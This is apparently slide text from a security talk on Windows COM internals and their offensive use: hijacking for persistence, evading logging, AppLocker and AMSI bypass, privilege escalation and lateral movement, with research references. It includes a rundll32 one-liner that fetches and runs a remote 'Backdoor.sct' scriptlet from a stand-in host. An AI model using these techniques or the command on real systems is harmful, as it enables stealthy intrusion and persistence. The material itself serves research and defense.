Objectives For This Talk
Foster curiosity & further research
Provide references
Call attention to the attack surface and capabilities
What Will We Discuss?
COM Overview
COM Research Methodology
Malicious COM Tactics
COM Overview
-Brief Background
-Registration
-Resolution
COM Architecture and History - in 2 minutes ;-)
What are COM components?
COM components are cross-language classes backed by:
DLL (Dynamic-Link Libraries)
OCX (ActiveX controls)
TLB (Type Libraries )
EXE (Executables)
SCT ( XML files )
Location Transparency Principle
Example - COM Scriptlet XML
XML Files - We use these for POC examples
Registration Block
COM Object Type Registration
To find a component when a program needs it,
it is USUALLY registered
What Registry keys are related to COM object registration?
HKLM
+ HKCU
HKCR
What registry entries are needed to register a COM object?
https://blogs.msdn.microsoft.com/larryosterman/2006/01/11/what-registry-entries-
are-needed-to-register-a-com-object/
Also XRef:
Minimal COM object registration
https://blogs.msdn.microsoft.com/larryosterman/2006/01/05/minimal-com-object-
registration/
COM Object Type Resolution
CLSID - GUID - {AAAA1111-0000-0000-0000-0000FEEDACDC}
ProgID - String
Monikers - “scriptlet:http://example.com/file.sct”
GetObject - CreateObject Methods
rundll32.exe javascript:"..mshtml,RunHTMLApplication
";a=GetObject('scriptlet:https://example.com/Backdoor.sct');a.Exec();close();
WMI GetObject example
Registry Example
COM Registry Keys
https://msdn.microsoft.com/en-us/library/windows/desktop/ms678477(v=vs.85).aspx
Regsvr32.exe
Regasm.exe
Regsvcs.exe
These tools usually handle the registration and registry key population for us.
Example Call To Create/Locate an Object
What does all this mean?
COM Artifacts and details can be found in the registry.
Usually...
Avoid Registration Process
Sample Objective:
Execute .NET code inside Windows Scripting Host
Without registering the COM object.
Registration-Free COM Activation
Microsoft.Windows.ActCtx Object
Attach a Manifest or Download ManifestURL
Loads dll without registration.

RegistrationHelper - Bypass via CScript.exe
https://gist.github.com/subTee/631f859c7890316b7e9a880cf4a51500
Example
https://gist.github.com/subTee/631f859c7890316b7e9a880cf4a51500
In Memory Assembly Execution JScript/VBScript
https://github.com/tyranid/DotNetToJScript
This is Amazing!
Executes a .NET assembly IN JSCRIPT
This dramatically extends capabilities of COM Scriptlets
No Dll On Disk.
Works for .NET 2 and 3.5 Only
Methodology Examples
Using Procmon to trace resolution
Example - There are DOZENS of these

Malicious Tactics Overview
Persistence
COM Hijacking - Evasion
Office Add-Ins
Privilege Escalation
Lateral Movement
Persistence via COM Hijacking
Leveraging Per-User COM Objects, we can divert resolution to an object under
our control.
Registry Only Persistence
“TreatAs” hijack
COM handler hijacking (scheduled tasks)
https://msdn.microsoft.com/en-us/library/windows/desktop/ms679737(v=vs.85).aspx
https://github.com/subTee/OSArchaeology/blob/master/COM/TreatAsPersistence.reg
https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-
com-handler-hijacking/
Persistence via COM Hijacking
DEMO
Registry Only Persistence
Evasion
Windows very often resolves COM objects via the HKCU hive first
Find your favorite script that implements GetObject() or CreateObject() and hijack it.
This allows you to instantiate your own code without exposing it via the command
line.
Abusing WSH: VBScript Injection
Leverage an existing, signed VBScript to run our code
C:WindowsSystem32Printing_Admin_Scriptsen-US
pubprn.vbs
For example: Windows printing script pubprn.vbs calls GetObject on
a parameter we control. Can use this to execute a COM scriptlet
Example: Evade Command Line Logging
slmgr.vbs instantiates Scripting.Dictionary via CreateObject(). Hijack that object to
make it run your code
Source Code of Slmgr.vbs
Default System File
Example: Evade Command Line Logging
This is also a clever way to bypass AppLocker ;-)
Winrm.vbs
Bypass the AntiMalware Scan Interface (AMSI)
Malicious Office Add-ins
Outlook, Excel etc.
Rich API for persistence and C2

Outlook Rules Added Via COM Object

Privilege Escalation
The COM Elevation Moniker - Resources
-Execute Process in Another user’s session
-Think Terminal Server or RDP etc…
COM - CVE-2017-0100

Domain Admin Elevation

@n0pe_sled
Lateral Movement
- Leveraging DCOM objects with no explicit access or launch permissions set
- Certain objects have interesting methods…

Conclusions
Hopeful outcomes of this talk.

Closing Thoughts / Conclusions / Thanks
Special Thanks to:
David Mcguire & Jason Frank for their support of this research while we were
working for them.
James Forshaw - For answering our questions and COM research
All of the former ATD members who provided feedback and improvements to our
research!

An attacker who successfully exploited the vulnerability could run arbitrary code in another user's session. To exploit the vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability once another user logged in to the same system via Terminal Services or Fast User Switching. The update addresses the vulnerability by correcting how Helppane.exe authenticates the client.
